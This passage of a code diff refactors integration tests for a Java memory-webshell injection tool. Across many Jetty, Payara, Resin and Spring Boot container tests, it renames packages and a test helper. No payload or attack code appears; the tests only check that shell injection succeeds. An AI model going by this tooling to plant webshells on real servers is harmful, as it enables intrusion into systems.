+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -70,6 +70,6 @@ public class Jetty12ee8ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,6 +72,6 @@ public class Jetty12ee9ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class Jetty61ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Jetty75ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Jetty76ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Jetty81ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -70,6 +70,6 @@ public class Jetty92ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class Jetty93ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class Jetty94ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.payara;
+package com.reajason.javaweb.integration.memshell.payara;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Payara5201ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.payara;
+package com.reajason.javaweb.integration.memshell.payara;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Payara520225ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.payara;
+package com.reajason.javaweb.integration.memshell.payara;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Payara620222ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.resin;
+package com.reajason.javaweb.integration.memshell.resin;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -24,7 +24,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,6 +72,6 @@ public class Resin3116ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.resin;
+package com.reajason.javaweb.integration.memshell.resin;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Resin318ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.resin;
+package com.reajason.javaweb.integration.memshell.resin;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Resin4058ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.resin;
+package com.reajason.javaweb.integration.memshell.resin;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class Resin4067ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.springwebflux;
+package com.reajason.javaweb.integration.memshell.springwebflux;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -24,7 +24,7 @@ import java.util.stream.Stream;
 import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile;
 import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -66,7 +66,7 @@ public class SpringBoot2WebFluxContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.springwebflux;
+package com.reajason.javaweb.integration.memshell.springwebflux;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -24,7 +24,7 @@ import java.util.stream.Stream;
 import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile;
 import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -64,7 +64,7 @@ public class SpringBoot3WebFluxContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.springwebmvc;
+package com.reajason.javaweb.integration.memshell.springwebmvc;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -70,7 +70,7 @@ public class SpringBoot1ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.springwebmvc;
+package com.reajason.javaweb.integration.memshell.springwebmvc;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,7 +72,7 @@ public class SpringBoot2ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 
     public static String getUrl(GenericContainer<?> container) {
@@ -100,6 +100,6 @@ public class SpringBoot2ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("tomcatCasesProvider")
     void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.springwebmvc;
+package com.reajason.javaweb.integration.memshell.springwebmvc;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,7 +72,7 @@ public class SpringBoot2JettyContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 
     public static String getUrl(GenericContainer<?> container) {
@@ -98,6 +98,6 @@ public class SpringBoot2JettyContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("jettyCasesProvider")
     void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.springwebmvc;
+package com.reajason.javaweb.integration.memshell.springwebmvc;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,7 +72,7 @@ public class SpringBoot2UndertowContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 
     public static String getUrl(GenericContainer<?> container) {
@@ -98,6 +98,6 @@ public class SpringBoot2UndertowContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("jettyCasesProvider")
     void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
     }
 }